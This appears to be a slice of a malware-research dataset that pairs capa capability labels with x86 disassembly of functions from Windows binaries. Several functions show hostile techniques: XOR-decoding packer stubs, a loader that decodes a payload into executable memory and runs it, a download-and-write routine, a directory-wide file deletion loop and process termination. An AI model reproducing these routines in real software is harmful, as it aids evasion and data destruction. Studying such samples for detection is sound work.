joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40b970
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x42d998
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
mov edi, ecx
push 0x43b670
lea esi, [edi + 0x24]
mov ecx, esi
call fcn.00427631
push 2
mov ecx, esi
call fcn.0042771c
push 1
mov ecx, esi
call fcn.0042771c
push 0x31
mov ecx, esi
call fcn.0042771c
push 0x34
mov ecx, esi
call fcn.0042771c
mov eax, dword [esp + 0x30]
push eax
call fcn.0041e975
xor ecx, ecx
push eax
mov dword [esp + 0x14], ecx
lea edx, [esp + 0x14]
mov dword [esp + 0x18], ecx
push 0x438468
mov dword [esp + 0x20], ecx
push edx
mov dword [esp + 0x28], ecx
mov dword [esp + 0x2c], ecx
call fcn.0041e3e3
add esp, 0x10
lea eax, [esp + 0xc]
mov ecx, esi
push eax
call fcn.004276f5
mov ecx, dword [esp + 0x34]
push ecx
call fcn.0041e975
xor edx, edx
push eax
mov dword [esp + 0x14], edx
lea eax, [esp + 0x14]
mov dword [esp + 0x18], edx
push 0x438468
mov dword [esp + 0x20], edx
push eax
mov dword [esp + 0x28], edx
mov dword [esp + 0x2c], edx
call fcn.0041e3e3
add esp, 0x10
lea ecx, [esp + 0xc]
push ecx
mov ecx, esi
call fcn.004276f5
push 3
mov ecx, esi
call fcn.0042771c
mov edx, dword [esi]
lea ecx, [esp + 0x30]
mov ebx, dword [edx - 8]
lea eax, [ebx - 1]
push eax
push 1
push ecx
mov ecx, esi
call fcn.00426953
mov eax, dword [eax]
dec ebx
push ebx
push eax
mov ecx, edi
mov dword [esp + 0x30], 0
call fcn.00406e70
push eax
mov ecx, esi
call fcn.0042771c
lea ecx, [esp + 0x30]
mov dword [esp + 0x28], 0xffffffff
call fcn.004274f4
mov eax, dword [esi]
mov ecx, dword [esp + 0x20]
mov dword [edi + 0x1c], 2
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x20
ret 8

Function at 0x40bab0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x42d9b8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
mov edi, ecx
push 0x43b670
lea esi, [edi + 0x24]
mov ecx, esi
call fcn.00427631
push 2
mov ecx, esi
call fcn.0042771c
push 1
mov ecx, esi
call fcn.0042771c
push 0x32
mov ecx, esi
call fcn.0042771c
push 0x30
mov ecx, esi
call fcn.0042771c
mov eax, dword [esp + 0x30]
push eax
call fcn.0041e975
xor ecx, ecx
push eax
mov dword [esp + 0x14], ecx
lea edx, [esp + 0x14]
mov dword [esp + 0x18], ecx
push 0x438470
mov dword [esp + 0x20], ecx
push edx
mov dword [esp + 0x28], ecx
mov dword [esp + 0x2c], ecx
call fcn.0041e3e3
add esp, 0x10
lea eax, [esp + 0xc]
mov ecx, esi
push eax
call fcn.004276f5
push 3
mov ecx, esi
call fcn.0042771c
mov ecx, dword [esi]
lea eax, [esp + 0x30]
mov ebx, dword [ecx - 8]
mov ecx, esi
lea edx, [ebx - 1]
push edx
push 1
push eax
call fcn.00426953
mov eax, dword [eax]
dec ebx
push ebx
push eax
mov ecx, edi
mov dword [esp + 0x30], 0
call fcn.00406e70
push eax
mov ecx, esi
call fcn.0042771c
lea ecx, [esp + 0x30]
mov dword [esp + 0x28], 0xffffffff
call fcn.004274f4
mov eax, dword [esi]
mov ecx, dword [esp + 0x20]
mov dword [edi + 0x1c], 2
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x20
ret 4
Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x7ed15ef5
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42e1d0
mov ecx, 0x4e7f2953
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x430072
nop
nop
nop
nop
mov ebx, 0x408e84
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x10d61ff2
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x430060
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
je 0x4300d2
nop
nop
nop
nop
mov ebx, 0x42e1d0
nop
nop
nop
nop
nop
mov ecx, ebx
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x57dc59eb
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x41c986
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041c7f7

Function at 0x41cd80
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.0040a010
mov eax, dword [0x47a8c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.0041b85a
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x41cdc2
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x41cf1e
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.0042a400
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x47c5c0]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.0041dd77
mov ecx, dword [esi*4 + 0x47c5c0]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x41cf17
cmp eax, dword [edi + ecx + 0x24]
jne 0x41cf17
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41cf17
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0041dd77
add esp, 0x14
test edx, edx
jl 0x41cf17
jg 0x41ce8d
test eax, eax
jb 0x41cf17
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x41cf17
jl 0x41cea7
cmp dword [ebp - 0x1008], eax
ja 0x41cf17
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x41cec5
test ebx, ebx
je 0x41cefe
cmp ecx, edi
jae 0x41cefe
mov al, byte [ecx]
cmp al, 0xd
jne 0x41cedf
lea eax, [edi - 1]
cmp ecx, eax
jae 0x41ceeb
cmp byte [ecx + 1], 0xa
jne 0x41ceeb
inc ecx
jmp 0x41ceeb
movzx eax, al
movsx eax, byte [eax + 0x47ab80]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x41cec5
cmp edx, ebx
jne 0x41cec5
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x41cf1c
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00409539
leave
ret
Function at 0x41d215
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x47c5c0]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41d255
cmp byte [ebx], 0xa
jne 0x41d255
or byte [eax + edi + 0x28], 4
jmp 0x41d25a
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x41d358
mov al, byte [edx]
cmp al, 0x1a
je 0x41d33a
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x41d289
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x41d2ae
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x41d2b8
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x41d26b
jmp 0x41d358
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41d335
cmp dword [ebp - 0xc], 0
je 0x41d335
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x47c5c0]
test byte [eax + edi + 0x28], 0x48
je 0x41d30f
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x41d2fa
mov byte [esi], dl
jmp 0x41d30b
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x47c5c0]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x41d358
cmp byte [ebp - 1], 0xa
jne 0x41d31e
cmp esi, ebx
jne 0x41d31e
mov byte [esi], 0xa
jmp 0x41d357
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0041dd95
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x41d358
mov byte [esi], 0xd
jmp 0x41d357
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x47c5c0]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41d354
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41d358
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41d361
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x47c5c0]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41d3a4
cmp word [esi], dx
jne 0x41d3a4
or byte [edi + eax + 0x28], 4
jmp 0x41d3a9
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x41d4fc
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x41d4dc
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x41d3eb
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x41d421
cmp eax, edx
jae 0x41d42d
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x41d3c3
jmp 0x41d4fc
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41d4d8
cmp dword [ebp - 0x14], 0
je 0x41d4d8
mov eax, dword [ebx*4 + 0x47c5c0]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x41d4b0
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x41d479
mov word [esi], cx
jmp 0x41d4ac
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x47c5c0]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x47c5c0]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x47c5c0]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x41d4fc
pop ebx
cmp word [ebp - 4], bx
jne 0x41d4c1
cmp esi, dword [ebp + 0xc]
jne 0x41d4c1
mov word [esi], bx
jmp 0x41d4f9
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0041dd95
add esp, 0x10
cmp word [ebp - 4], bx
je 0x41d4fc
push 0xd
jmp 0x41d4f5
mov ecx, dword [ebx*4 + 0x47c5c0]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41d4f3
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41d4fc
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x40987f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x40988e
pop dword [ebp - 0xc]
mov eax, 0xe79adfa3
sub eax, 0xe75a4715
sub dword [ebp - 0xc], eax
push 0x40
push 0x1000
push 0x46e67
push 0
mov eax, 0x682d2dc0
sub eax, 0x67eadba8
add eax, dword [ebp - 0xc]
call dword [eax]
mov ecx, 0x6bfe
xor edi, edi
add edi, eax
mov ebx, 0x5b377ee0
sub ebx, 0x5af42ae0
add ebx, dword [ebp - 0xc]
mov esi, 0xcc0e4530
add esi, 0x6ec65cdc
xor dword [ebp - 4], eax
mov edx, dword [ebx]
sub dword [ebp - 8], 0x3f5597ff
xor edx, esi
add dword [ebp - 8], 0xfbd196f
mov dword [edi], edx
xor dword [ebp - 4], edx
add edi, 0x9da873d4
sub edi, 0x9da873d0
add ebx, 4
loop 0x4098e9
add eax, 0x1a2cb
mov ebx, eax
add eax, 0xc3bf3d0b
sub eax, 0xc3bf3d06
mov ecx, 0x400000
add ecx, dword [ebp - 0xc]
call ebx
leave
ret

Function at 0x86f058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.0086f1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x86f07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x86f06a
add dl, dl
jne 0x86f089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x86f0dc
xor eax, eax
add dl, dl
jne 0x86f096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x86f17d
add dl, dl
jne 0x86f0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x86f0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x86f0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x86f0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x86f0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x86f075
mov eax, 1
add dl, dl
jne 0x86f0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x86f0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x86f0e1
sub eax, ebx
mov ebx, 1
jne 0x86f128
mov ecx, 1
add dl, dl
jne 0x86f10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x86f119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x86f105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x86f075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x86f13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x86f14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x86f136
cmp eax, 0x7d00
jae 0x86f16d
cmp eax, 0x500
jb 0x86f168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x86f075
cmp eax, 0x7f
ja 0x86f170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x86f075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x86f19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x86f075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x402ff0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x422548
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x42e6dc]
xor eax, esp
mov dword [esp + 0x20], eax
push ebx
push esi
push edi
mov eax, dword [0x42e6dc]
xor eax, esp
push eax
lea eax, [esp + 0x38]
mov dword fs:[0], eax
mov ebx, ecx
cmp dword [ebx + 0x40], 0
je 0x403144
cmp byte [ebx + 0x45], 0
je 0x403144
mov eax, dword [ebx]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
jne 0x403050
xor al, al
jmp 0x403146
mov ecx, 0xf
mov byte [esp + 0x18], 0
xorps xmm0, xmm0
movq qword [esp + 0x18], xmm0
lea eax, [esp + 0x18]
cmp ecx, 0x10
cmovae eax, dword [esp + 0x18]
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x28], 8
mov byte [eax + 8], 0
mov dword [esp + 0x40], 0
jmp 0x403090
cmp dword [esp + 0x2c], 0x10
mov ecx, dword [ebx + 0x40]
lea eax, [esp + 0x14]
mov edx, dword [ecx]
push eax
mov eax, dword [esp + 0x2c]
lea edi, [esp + 0x1c]
cmovae edi, dword [esp + 0x1c]
lea esi, [esp + 0x1c]
cmovae esi, dword [esp + 0x1c]
add eax, edi
push eax
push esi
lea eax, [ebx + 0x48]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x4030d1
dec eax
je 0x4030d5
sub eax, 2
je 0x40312b
xor bl, bl
jmp 0x40312d
mov byte [ebx + 0x45], 0
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x18]
mov esi, dword [esp + 0x14]
cmp ecx, 0x10
lea eax, [esp + 0x18]
cmovae eax, edx
sub esi, eax
je 0x40310c
push dword [ebx + 0x50]
cmp ecx, 0x10
push esi
lea eax, [esp + 0x20]
cmovae eax, edx
push 1
push eax
call fcn.0040be6e
add esp, 0x10
cmp esi, eax
jne 0x4030cd
cmp byte [ebx + 0x45], 0
je 0x40312b
test esi, esi
jne 0x403090
push esi
push 8
lea ecx, [esp + 0x20]
call fcn.00402c60
jmp 0x403090
mov bl, 1
cmp dword [esp + 0x2c], 0x10
jb 0x403140
push dword [esp + 0x18]
call fcn.0040b269
add esp, 4
mov al, bl
jmp 0x403146
mov al, 1
mov ecx, dword [esp + 0x38]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.0040af6f
mov esp, ebp
pop ebp
ret
Function at 0x407110
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5dc
mov eax, dword [0x42e6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, ecx
push str.http:__
push edi
mov dword [ebp - 0x5d4], edx
call fcn.0040c9a0
mov esi, eax
add esp, 8
test esi, esi
je 0x407147
add esi, 7
jmp 0x407149
mov esi, edi
push 0x429f78
push esi
call fcn.0040c9a0
add esp, 8
test eax, eax
je 0x407218
push 0x429f78
push esi
call fcn.0040c9a0
sub eax, esi
push eax
push esi
lea eax, [ebp - 0x48]
push 0x40
push eax
call fcn.0040c6c7
push 0x429f78
push esi
call fcn.0040c9a0
push eax
lea eax, [ebp - 0x1d0]
push 0x104
push eax
call fcn.0040afc9
add esp, 0x2c
lea eax, [ebp - 0x5d0]
push 0
push 1
push 0x400
push eax
lea edx, [ebp - 0x1d0]
lea ecx, [ebp - 0x48]
call fcn.00406a10
add esp, 0x10
test al, al
je 0x407218
push ecx
lea eax, [ebp - 0xc8]
push eax
lea ecx, [ebp - 0x5d0]
call fcn.00406950
add esp, 8
test al, al
je 0x407218
lea eax, [ebp - 0xc8]
push eax
call fcn.0040cc88
add esp, 4
mov ebx, eax
push ebx
call fcn.0040a3bf
add esp, 4
mov esi, eax
push 1
push 0
push ebx
push esi
lea edx, [ebp - 0x1d0]
lea ecx, [ebp - 0x48]
call fcn.00406a10
add esp, 0x10
test al, al
jne 0x40722b
push esi
call fcn.0040b081
add esp, 4
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040af6f
mov esp, ebp
pop ebp
ret
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push dword [ebp - 0x5d4]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40720f
push 0
lea eax, [ebp - 0x5d8]
push eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call fcn.0040b081
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
pop edi
pop esi
mov al, 1
pop ebx
call fcn.0040af6f
mov esp, ebp
pop ebp
ret
Function at 0x4087d0
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
mov eax, dword [0x42e6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x110]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x40
lea eax, [ebp - 0x154]
push 0
push eax
mov dword [ebp - 0x158], 0x44
call fcn.0040fc70
add esp, 0xc
xor eax, eax
mov word [ebp - 0x128], ax
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x158]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x110]
push eax
push 0
mov dword [ebp - 0x12c], 0x81
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x408c50
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x354
mov eax, dword [0x42e6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov eax, ecx
push edi
push eax
mov dword [ebp - 0x34c], eax
lea eax, [ebp - 0x108]
push 0x100
push eax
mov esi, edx
call fcn.0040afc9
push 0x42a1fc
lea eax, [ebp - 0x108]
push 0x100
push eax
call fcn.0040b01e
push esi
lea eax, [ebp - 0x108]
push 0x100
push eax
call fcn.0040b01e
add esp, 0x24
lea eax, [ebp - 0x348]
push eax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x350], eax
cmp eax, 0xffffffff
je 0x408d68
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0x12
je 0x408d68
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileA]
lea ecx, [ecx]
cmp byte [ebp - 0x31c], 0x2e
je 0x408d4e
push dword [ebp - 0x34c]
lea eax, [ebp - 0x208]
push 0x100
push eax
call fcn.0040afc9
push 0x429924
lea eax, [ebp - 0x208]
push 0x100
push eax
call fcn.0040b01e
lea eax, [ebp - 0x31c]
push eax
lea eax, [ebp - 0x208]
push 0x100
push eax
call fcn.0040b01e
add esp, 0x24
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
call edi
lea eax, [ebp - 0x348]
push eax
push dword [ebp - 0x350]
call ebx
call esi
cmp eax, 0x12
jne 0x408cf0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040af6f
mov esp, ebp
pop ebp
ret

Function at 0x408ee0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x42e6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
lea eax, [ebp - 0x130]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp eax, 1
jne 0x408fbe
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
lea eax, [ebp - 0x130]
push eax
push edi
call ebx
cmp eax, 1
jne 0x408fbe
jmp 0x408f50
mov eax, dword [ebp - 0x134]
lea ecx, [ebp - 0x10c]
lea esp, [esp]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x408f80
test dl, dl
je 0x408f7c
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x408f80
add ecx, 2
add eax, 2
test dl, dl
jne 0x408f60
xor eax, eax
jmp 0x408f85
sbb eax, eax
or eax, 1
test eax, eax
jne 0x408faf
push dword [ebp - 0x128]
push eax
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push 0xd
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
lea eax, [ebp - 0x130]
push eax
push edi
call ebx
cmp eax, 1
je 0x408f50
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040af6f
mov esp, ebp
pop ebp
ret